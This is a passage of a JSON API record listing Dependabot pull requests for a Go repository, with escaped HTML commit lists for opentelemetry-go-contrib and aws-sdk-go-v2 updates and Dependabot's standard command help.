href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/eaba3cdaa1559cc7425644e21a389f227e30dc86\"\u003e\u003ccode\u003eeaba3cd\u003c/code\u003e\u003c/a\u003e chore(deps): update googleapis to 6f92a3b (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8776\"\u003e#8776\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/6df430c48045ad1221f203c01f6656367dd46fd1\"\u003e\u003ccode\u003e6df430c\u003c/code\u003e\u003c/a\u003e chore(deps): update module github.com/jgautheron/goconst to v1.10.0 (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8771\"\u003e#8771\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/ae90e3237e8d8f14bc3f181e1f82feb1686604f0\"\u003e\u003ccode\u003eae90e32\u003c/code\u003e\u003c/a\u003e Fix otelconf prometheus label escaping (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8763\"\u003e#8763\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/f202c3f8000fe3e681621808b5e316fe4749850a\"\u003e\u003ccode\u003ef202c3f\u003c/code\u003e\u003c/a\u003e otelconf: move experimental types to otelconf/x (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8529\"\u003e#8529\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/8ddaecee1cc531ae753d4812842745bdfb805208\"\u003e\u003ccode\u003e8ddaece\u003c/code\u003e\u003c/a\u003e fix(deps): update aws-sdk-go-v2 monorepo (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8764\"\u003e#8764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/c7c03a47d4cf7252728b11efd78e2159b437dbd2\"\u003e\u003ccode\u003ec7c03a4\u003c/code\u003e\u003c/a\u003e chore(deps): update module github.com/mattn/go-runewidth to v0.0.22 (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8766\"\u003e#8766\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/717a85a20313ac21712dd055ba2ede71205889e8\"\u003e\u003ccode\u003e717a85a\u003c/code\u003e\u003c/a\u003e envcar: normalize cached environment variable names (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8761\"\u003e#8761\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/commit/ad990b6d55811953d06ec88720fa373931fa1a27\"\u003e\u003ccode\u003ead990b6\u003c/code\u003e\u003c/a\u003e fix(deps): update module github.com/aws/smithy-go to v1.24.3 (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8765\"\u003e#8765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/compare/zpages/v0.61.0...zpages/v0.68.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/evalops/service-runtime/pull/131","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/evalops%2Fservice-runtime/issues/131","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/131/packages"},{"uuid":"4221549772","node_id":"PR_kwDOOMD05s7QqpKQ","number":100,"state":"open","title":"build(deps): bump the go_modules group across 4 directories with 3 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":6,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-08T01:44:16.000Z","updated_at":"2026-05-29T00:23:42.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps): bump","group_name":"go_modules","update_count":3,"packages":[{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/kinesis","old_version":"1.38.0","new_version":"1.43.5","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.4","new_version":"2.12.6","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/go-jose/go-jose/v4","old_version":"4.1.3","new_version":"4.1.4","repository_url":"https://github.com/go-jose/go-jose"}],"path":null,"ecosystem":"go"},"body":"Bumps the go_modules group with 1 update in the /examples/multi-engine-eventbus directory: [github.com/aws/aws-sdk-go-v2/service/kinesis](https://github.com/aws/aws-sdk-go-v2).\nBumps the go_modules group with 1 update in the /examples/nats-eventbus directory: [github.com/aws/aws-sdk-go-v2/service/kinesis](https://github.com/aws/aws-sdk-go-v2).\nBumps the go_modules group with 2 updates in the /modules/eventbus directory: [github.com/aws/aws-sdk-go-v2/service/kinesis](https://github.com/aws/aws-sdk-go-v2) and [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server).\nBumps the go_modules group with 1 update in the /modules/letsencrypt directory: [github.com/go-jose/go-jose/v4](https://github.com/go-jose/go-jose).\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca 